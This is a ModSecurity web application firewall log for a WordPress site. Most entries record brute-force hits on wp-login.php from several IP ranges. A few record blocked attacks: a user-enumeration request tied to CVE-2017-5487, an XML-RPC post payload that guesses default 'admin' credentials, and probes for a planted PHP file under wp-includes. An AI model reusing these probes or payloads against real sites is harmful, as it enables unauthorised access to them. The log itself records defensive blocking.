[Tue Feb 24 09:03:28.146848 2026] [:error] [pid 11672:tid 11684] [client 193.36.225.131:48321] [client 193.36.225.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.131, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZz44Pa0fhnmfPYq92vcsgAAAQo"]
[Tue Feb 24 09:13:22.031661 2026] [:error] [pid 41188:tid 41209] [client 37.140.223.10:48037] [client 37.140.223.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.10, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZz7MgWRg7szIRhA0Wi2iAAAAVI"]
[Tue Feb 24 09:13:22.895817 2026] [:error] [pid 41188:tid 41214] [client 193.36.225.239:45891] [client 193.36.225.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.239, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZz7MgWRg7szIRhA0Wi2iwAAAVc"]
[Tue Feb 24 09:23:18.644064 2026] [:error] [pid 37540:tid 37614] [client 37.140.223.22:37127] [client 37.140.223.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.22, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZz9hiahRAUBJS8hpJW9YgAAAIw"]
[Tue Feb 24 09:23:18.647057 2026] [:error] [pid 37539:tid 37577] [client 136.144.33.209:62337] [client 136.144.33.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZz9hnEnr46jUQep9z_2dQAAAEI"]
[Tue Feb 24 09:32:49.268226 2026] [:error] [pid 37539:tid 37598] [client 37.140.223.3:30707] [client 37.140.223.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.3, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZz_wXEnr46jUQep9z_42gAAAFc"]
[Tue Feb 24 09:42:06.227040 2026] [:error] [pid 37539:tid 37579] [client 37.140.223.16:56261] [client 37.140.223.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0B7nEnr46jUQep9z_5_wAAAEQ"]
[Tue Feb 24 09:42:06.227639 2026] [:error] [pid 37539:tid 37581] [client 37.140.223.6:22479] [client 37.140.223.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0B7nEnr46jUQep9z_6AAAAAEY"]
[Tue Feb 24 09:51:41.812454 2026] [:error] [pid 37539:tid 37590] [client 37.140.223.5:54555] [client 37.140.223.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.5, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0ELXEnr46jUQep9z_7gQAAAE8"]
[Tue Feb 24 09:51:41.845003 2026] [:error] [pid 41188:tid 41201] [client 37.140.223.11:53803] [client 37.140.223.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.11, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0ELQWRg7szIRhA0WjEVgAAAUo"]
[Tue Feb 24 10:01:09.484972 2026] [:error] [pid 37644:tid 37659] [client 37.140.223.11:63663] [client 37.140.223.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.11, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0GZULaEhVDwBRydH2Z5wAAAM0"]
[Tue Feb 24 10:01:09.486777 2026] [:error] [pid 37644:tid 37654] [client 37.140.223.15:52267] [client 37.140.223.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.15, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0GZULaEhVDwBRydH2Z6AAAAMg"]
[Tue Feb 24 10:10:35.380589 2026] [:error] [pid 37540:tid 37621] [client 193.36.225.129:36857] [client 193.36.225.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.129, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0ImyahRAUBJS8hpJXHVQAAAJM"]
[Tue Feb 24 10:10:36.330610 2026] [:error] [pid 41188:tid 41214] [client 193.36.225.131:42551] [client 193.36.225.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.131, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0InAWRg7szIRhA0WjMagAAAVc"]
[Tue Feb 24 10:20:06.233848 2026] [:error] [pid 37539:tid 37596] [client 193.36.225.115:25295] [client 193.36.225.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.115, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0K1nEnr46jUQep9z__6wAAAFU"]
[Tue Feb 24 10:20:07.384348 2026] [:error] [pid 41188:tid 41196] [client 193.36.225.116:35405] [client 193.36.225.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0K1wWRg7szIRhA0WjQoAAAAUU"]
[Tue Feb 24 10:29:44.870320 2026] [:error] [pid 41188:tid 41208] [client 37.140.223.22:30849] [client 37.140.223.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.22, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0NGAWRg7szIRhA0WjWEAAAAVE"]
[Tue Feb 24 10:29:44.875694 2026] [:error] [pid 41188:tid 41195] [client 193.36.225.116:47167] [client 193.36.225.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0NGAWRg7szIRhA0WjWEQAAAUQ"]
[Tue Feb 24 10:39:19.213117 2026] [:error] [pid 37644:tid 37655] [client 172.245.102.7:50309] [client 172.245.102.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.7, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0PV0LaEhVDwBRydH2fwwAAAMk"]
[Tue Feb 24 10:39:19.369002 2026] [:error] [pid 37540:tid 37622] [client 193.36.225.248:21991] [client 193.36.225.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.248, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0PVyahRAUBJS8hpJXObgAAAJQ"]
[Tue Feb 24 10:48:38.624286 2026] [:error] [pid 11672:tid 11678] [client 37.140.223.6:42781] [client 37.140.223.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0Rhva0fhnmfPYq92sASQAAAQQ"]
[Tue Feb 24 10:48:38.624657 2026] [:error] [pid 11672:tid 11692] [client 193.36.225.115:43639] [client 193.36.225.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.115, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0Rhva0fhnmfPYq92sASgAAARI"]
[Tue Feb 24 10:58:03.056090 2026] [:error] [pid 37538:tid 37557] [client 136.144.33.16:58109] [client 136.144.33.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0TuyynTiHZ9J0Y2naNVQAAAAk"]
[Tue Feb 24 10:58:03.060520 2026] [:error] [pid 11672:tid 11678] [client 193.36.225.249:36315] [client 193.36.225.249] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.249, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0Tu_a0fhnmfPYq92sCkAAAAQQ"]
[Tue Feb 24 11:11:13.222892 2026] [:error] [pid 37540:tid 37623] [client 172.245.102.6:64999] [client 172.245.102.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0W0SahRAUBJS8hpJXWTQAAAJU"]
[Tue Feb 24 11:11:13.223195 2026] [:error] [pid 37540:tid 37605] [client 193.36.225.132:63227] [client 193.36.225.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.132, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0W0SahRAUBJS8hpJXWTgAAAIM"]
[Tue Feb 24 11:20:53.764715 2026] [:error] [pid 41188:tid 41191] [client 37.140.223.12:62007] [client 37.140.223.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.12, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0ZFQWRg7szIRhA0Wjy-wAAAUA"]
[Tue Feb 24 11:20:53.764889 2026] [:error] [pid 41188:tid 41199] [client 172.245.102.9:28499] [client 172.245.102.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.9, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0ZFQWRg7szIRhA0Wjy_AAAAUg"]
[Tue Feb 24 11:30:29.476124 2026] [:error] [pid 37540:tid 37605] [client 37.140.223.12:49999] [client 37.140.223.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.12, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0bVSahRAUBJS8hpJXcEgAAAIM"]
[Tue Feb 24 11:30:29.476322 2026] [:error] [pid 37540:tid 37613] [client 193.36.225.138:54187] [client 193.36.225.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0bVSahRAUBJS8hpJXcEwAAAIs"]
[Tue Feb 24 11:39:46.878926 2026] [:error] [pid 34175:tid 34191] [client 136.144.33.209:24109] [client 136.144.33.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0dgnNLnkJcHQ-bNtVRpQAAAY4"]
[Tue Feb 24 11:39:47.829242 2026] [:error] [pid 11672:tid 11675] [client 37.140.223.12:23631] [client 37.140.223.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.12, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0dg_a0fhnmfPYq92sPIgAAAQE"]
[Tue Feb 24 11:47:23.672300 2026] [:error] [pid 34175:tid 34179] [client 202.179.70.83:59155] [client 202.179.70.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.179.70.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ0fS3NLnkJcHQ-bNtVTJgAAAYI"]
[Tue Feb 24 11:49:18.263287 2026] [:error] [pid 37538:tid 37569] [client 37.140.223.18:31129] [client 37.140.223.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.18, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0fviynTiHZ9J0Y2naURAAAABU"]
[Tue Feb 24 11:49:18.265313 2026] [:error] [pid 37540:tid 37605] [client 37.140.223.16:24107] [client 37.140.223.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0fviahRAUBJS8hpJXiQgAAAIM"]
[Tue Feb 24 11:52:54.768866 2026] [:error] [pid 37540:tid 37624] [client 202.179.70.83:53194] [client 202.179.70.83] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aZ0gliahRAUBJS8hpJXj_gAAAJY"]
[Tue Feb 24 11:54:14.222522 2026] [:error] [pid 11672:tid 11683] [client 202.179.70.83:57073] [client 202.179.70.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.179.70.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ0g5va0fhnmfPYq92sTEgAAAQk"]
[Tue Feb 24 11:55:20.782094 2026] [:error] [pid 37540:tid 37621] [client 202.179.70.83:64586] [client 202.179.70.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.179.70.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ0hKCahRAUBJS8hpJXktQAAAJM"]
[Tue Feb 24 11:55:20.785274 2026] [:error] [pid 37540:tid 37621] [client 202.179.70.83:64586] [client 202.179.70.83] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "73"] [id "210380"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||gigfragments.org|F|4"] [data "XML=metaWeblog.newPost1adminadmin%wppass_u%title0xc3ed196bdescription0xc3ed196bmt_keywords0xc3ed196bmt_excerpt0xc3ed196b1"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ0hKCahRAUBJS8hpJXktQAAAJM"]
[Tue Feb 24 11:56:38.597404 2026] [:error] [pid 34175:tid 34196] [client 202.179.70.83:54004] [client 202.179.70.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.179.70.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ0hdnNLnkJcHQ-bNtVWQgAAAZI"]
[Tue Feb 24 11:57:50.261376 2026] [:error] [pid 11672:tid 11697] [client 202.179.70.83:51794] [client 202.179.70.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.179.70.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ0hvva0fhnmfPYq92sTngAAARc"]
[Tue Feb 24 11:58:28.295030 2026] [:error] [pid 34175:tid 34184] [client 136.144.33.16:48353] [client 136.144.33.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0h5HNLnkJcHQ-bNtVWyAAAAYc"]
[Tue Feb 24 11:58:28.296642 2026] [:error] [pid 34175:tid 34197] [client 37.140.223.25:30845] [client 37.140.223.25] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.25, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0h5HNLnkJcHQ-bNtVWyQAAAZM"]
[Tue Feb 24 12:00:21.875629 2026] [:error] [pid 37540:tid 37608] [client 194.26.192.238:62761] [client 194.26.192.238] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/txets.php"] [unique_id "aZ0iVSahRAUBJS8hpJXmJwAAAIY"]
[Tue Feb 24 12:00:22.784043 2026] [:error] [pid 37540:tid 37622] [client 194.26.192.238:59951] [client 194.26.192.238] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "aZ0iViahRAUBJS8hpJXmLAAAAJQ"]
[Tue Feb 24 12:00:23.300983 2026] [:error] [pid 37540:tid 37613] [client 194.26.192.238:61088] [client 194.26.192.238] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "aZ0iVyahRAUBJS8hpJXmMAAAAIs"]
[Tue Feb 24 12:00:26.955663 2026] [:error] [pid 11672:tid 11686] [client 194.26.192.238:49476] [client 194.26.192.238] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/txets.php"] [unique_id "aZ0iWva0fhnmfPYq92sUEgAAAQw"]
[Tue Feb 24 12:08:07.822991 2026] [:error] [pid 11672:tid 11684] [client 37.140.223.10:26695] [client 37.140.223.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.10, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0kJ_a0fhnmfPYq92sWIwAAAQo"]
[Tue Feb 24 12:08:07.823261 2026] [:error] [pid 11672:tid 11690] [client 193.36.225.248:32747] [client 193.36.225.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.248, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0kJ_a0fhnmfPYq92sWJAAAARA"]
[Tue Feb 24 12:17:21.266314 2026] [:error] [pid 37540:tid 37619] [client 193.36.225.135:54143] [client 193.36.225.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0mUSahRAUBJS8hpJXu3AAAAJE"]
[Tue Feb 24 12:17:21.266629 2026] [:error] [pid 37540:tid 37622] [client 37.140.223.1:50305] [client 37.140.223.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0mUSahRAUBJS8hpJXu3QAAAJQ"]
[Tue Feb 24 12:26:53.652190 2026] [:error] [pid 34175:tid 34179] [client 193.36.225.138:39375] [client 193.36.225.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0ojXNLnkJcHQ-bNtVfjwAAAYI"]
[Tue Feb 24 12:26:53.652190 2026] [:error] [pid 37538:tid 37567] [client 37.140.223.5:24015] [client 37.140.223.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.5, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0ojSynTiHZ9J0Y2naZ3QAAABM"]
[Tue Feb 24 12:36:06.083406 2026] [:error] [pid 34175:tid 34184] [client 193.36.225.249:22291] [client 193.36.225.249] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.249, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0qtnNLnkJcHQ-bNtVi0gAAAYc"]
[Tue Feb 24 12:36:06.105642 2026] [:error] [pid 34175:tid 34188] [client 37.140.223.6:49619] [client 37.140.223.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0qtnNLnkJcHQ-bNtVi0wAAAYs"]
[Tue Feb 24 12:44:58.446050 2026] [:error] [pid 37540:tid 37623] [client 37.140.223.24:41875] [client 37.140.223.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.24, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0syiahRAUBJS8hpJX_cwAAAJU"]
[Tue Feb 24 12:44:58.446771 2026] [:error] [pid 37540:tid 37604] [client 193.36.225.129:30735] [client 193.36.225.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.129, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ0syiahRAUBJS8hpJX_dAAAAII"]
